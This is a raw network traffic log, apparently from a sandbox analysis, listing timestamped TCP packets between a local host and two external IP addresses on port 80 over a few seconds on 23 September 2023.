Sep 23, 2023 17:53:30.746964931 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.746984959 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.747023106 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.747087955 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.747124910 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.747164011 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.747200966 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.747711897 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.747749090 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.747775078 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.747811079 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.747826099 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.747862101 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.747886896 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.747914076 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.747941017 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.747955084 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.747967005 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.748003960 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.748024940 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.748063087 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.748136044 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.748174906 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.748176098 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.748213053 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.748254061 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.748294115 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.748302937 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.748325109 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.748342037 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.748347044 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.748363018 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.748373985 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.748413086 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.748452902 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.748480082 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.748512983 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.748518944 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.748555899 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.748598099 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.748683929 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.748718977 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.748747110 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.748781919 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.748950958 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.748989105 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.749016047 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.749051094 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.749066114 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.749105930 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.749130964 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.749161959 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.749166012 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.749197960 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.749238014 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.749274015 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.749289036 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.749325037 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.749339104 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.749373913 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.749398947 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.749430895 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.749435902 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.749465942 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.749547005 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.749582052 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.749607086 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.749644041 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.749665022 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.749706030 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.750044107 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.750082016 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.750108957 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.750144005 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.750261068 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.750297070 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.750319958 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.750351906 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.750355959 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.750386953 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.750412941 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.750443935 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.750448942 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.750478029 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.750518084 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.750557899 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.750560999 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.750600100 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.750621080 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.750658989 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.750722885 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.750757933 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.750758886 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.750790119 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.750816107 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.750850916 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.750890970 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.750927925 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.751090050 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.751128912 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.751167059 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.751194000 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.751235008 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.766304016 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.766345024 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.766614914 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.766632080 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.766654968 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.766668081 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.766695976 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.766732931 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.766742945 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.766782045 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.766827106 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.766855001 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.766869068 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.766891003 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.766894102 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.766935110 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.766958952 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.766997099 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.767035961 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.767055988 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.767076969 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.767091036 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.767381907 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.767420053 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.771733046 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.771780014 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.771815062 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.771836042 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.771852016 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.771873951 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.771884918 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.771907091 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.771944046 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.797957897 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.797998905 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.907145023 CEST	49810	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:30.907500982 CEST	49825	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:31.226392984 CEST	80	49825	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:31.226504087 CEST	49825	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:31.226995945 CEST	80	49810	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:31.227062941 CEST	49810	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:31.251553059 CEST	49825	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:31.251574993 CEST	49825	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:31.573424101 CEST	80	49825	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:31.573442936 CEST	80	49825	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:31.585335016 CEST	80	49825	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:31.589222908 CEST	49825	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:31.589222908 CEST	49825	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:31.908266068 CEST	80	49825	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:31.908299923 CEST	80	49825	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:31.915232897 CEST	80	49825	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:31.929913998 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:31.930267096 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:31.962681055 CEST	49825	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:32.250189066 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:32.250308990 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:32.259725094 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:32.259939909 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:32.260468960 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:32.589663982 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:32.592595100 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:32.592619896 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:32.592662096 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:32.592696905 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:32.592756033 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:32.592797995 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:32.592799902 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:32.592813969 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:32.592837095 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:32.592853069 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:32.592874050 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:32.592910051 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:32.592936039 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:32.592972994 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:32.592998028 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:32.593029022 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:32.593038082 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:32.593066931 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:32.593153000 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:32.593194008 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:32.921457052 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:32.921569109 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:32.921633959 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:32.921660900 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:32.921746969 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:32.921786070 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:32.921796083 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:32.921823025 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:32.921829939 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:32.921864986 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:32.921891928 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:32.921927929 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:32.921936035 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:32.921973944 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:32.921996117 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:32.922032118 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:32.922041893 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:32.922068119 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:32.922074080 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:32.922103882 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:32.922122955 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:32.922146082 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:32.922172070 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:32.922214031 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:32.922243118 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:32.922280073 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:32.922285080 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:32.922314882 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:32.922322989 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:32.922355890 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:32.922384977 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:32.922420979 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:32.922425985 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:32.922462940 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.251137018 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.251216888 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.251283884 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.251323938 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.251332045 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.251358986 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.251365900 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.251395941 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.251401901 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.251434088 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.251437902 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.251468897 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.251473904 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.251503944 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.251518011 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.251538992 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.251545906 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.251574993 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.251581907 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.251610041 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.251615047 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.251650095 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.251688957 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.251724005 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.251730919 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.251764059 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.251791000 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.251832008 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.251857042 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.251892090 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.251899958 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.252019882 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.252062082 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.252115965 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.252156973 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.252182961 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.252224922 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.252250910 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.252293110 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.252551079 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.252603054 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.252650976 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.252686977 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.252695084 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.252731085 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.252752066 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.252787113 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.252796888 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.252823114 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.252827883 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.252862930 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.252918959 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.252960920 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.252985001 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.253020048 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.253027916 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.253061056 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.253114939 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.253149033 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.253155947 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.253189087 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.253216028 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.253257036 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.253341913 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.253376961 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.253381968 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.253418922 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.253442049 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.253482103 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.253506899 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.253547907 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.580729961 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.580796003 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.580821991 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.580832005 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.580841064 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.580868006 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.580881119 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.580904007 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.580914974 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.580940008 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.580976009 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.580980062 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.581011057 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.581047058 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.581049919 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.581082106 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.581088066 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.581119061 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.581121922 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.581156015 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.581243992 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.581279993 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.581285954 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.581315041 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.581321001 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.581351995 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.581357002 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.581387997 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.581392050 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.581425905 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.581428051 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.581461906 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.581468105 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.581496954 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.581501007 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.581532001 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.581536055 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.581571102 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.581604958 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.581640959 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.581646919 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.581707954 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.581743002 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.581748962 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.581783056 CEST	49827	80	192.168.2.4	77.91.68.78
